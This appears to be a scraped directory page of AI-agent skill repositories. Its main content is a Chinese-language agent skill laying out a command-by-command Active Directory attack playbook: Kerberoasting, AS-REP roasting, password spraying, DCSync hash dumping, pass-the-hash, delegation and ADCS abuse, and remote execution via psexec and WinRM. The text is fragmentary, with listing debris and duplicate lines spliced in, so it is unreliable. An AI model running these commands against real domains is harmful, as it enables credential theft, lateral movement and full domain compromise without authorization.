agent-security-hardening
AFaffaan-m/ECC314k4,125 new stars in the last 7 days
目标存在 Windows 域环境、拿到域账号或内网 SMB/WinRM 可达时调用——域枚举、Kerberoast/AS-REP、委派、ADCS、DCSync、BloodHound 路径与 Exchange 攻击面。
nltest /dsgetdc:domain)。nxc smb <dc>(版本/域信息)、nxc ldap <dc> -u '' -p ''(匿名);nxc smb <dc> -u user -p pass --users --groups --shares;net user /domain、net group "Domain Admins" /domain、Get-ADUser -Filter *;-c All)→ 分析最短路径到 Domain Admins;nxc smb <host> -u user -p pass --shares,重点 SYSVOL/NETLOGON 的 GPP。| 手法 | 命令 | 说明 |
|---|---|---|
| Kerberoast | impacket-GetUserSPNs dom/user:pass -dc-ip dc -request | 拿到 SPN 账号 TGS → hashcat -m 13100 |
| AS-REP | impacket-GetNPUsers dom/ -usersfile users.txt -no-pass -format hashcat | 无需预认证账号 → hashcat -m 18200 |
| 密码喷洒 | nxc smb <dc> -u users.txt -p 'Spring2026!' --continue-on-success | 先查锁定策略,控制在 2-3 次 |
| GPP | gpp-decrypt <cpassword> | SYSVOL 里的 Groups.xml |
| DCSync | impacket-secretsdump dom/admin:pass@dc | 需复制目录权限 |
| PtH | impacket-wmiexec -hashes :<ntlm> user@host | 无明文时横向 |
impacket-findDelegation dom/user:pass -dc-ip dc;impacket-getST -spn cifs/host -impersonate administrator);msDS-AllowedToActOnBehalfOfOtherIdentity 后走 S4U。certipy find -u user@dom -p pass -dc-ip dc -vulnerable;certipy relay;certipy auth -pfx admin.pfx 换 TGT。/autodiscover/autodiscover.xml、/owa/、/ecp/、/mapi/ 指纹;nxc winrm <host> -u user -p pass -x whoami;impacket-psexec/smbexec;AFaffaan-m/ECC314k4,125 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,780 new stars in the last 7 days
GAgarrytan/gstack143k636 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,627 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,627 new stars in the last 7 days
RUruvnet/RuView106k693 new stars in the last 7 days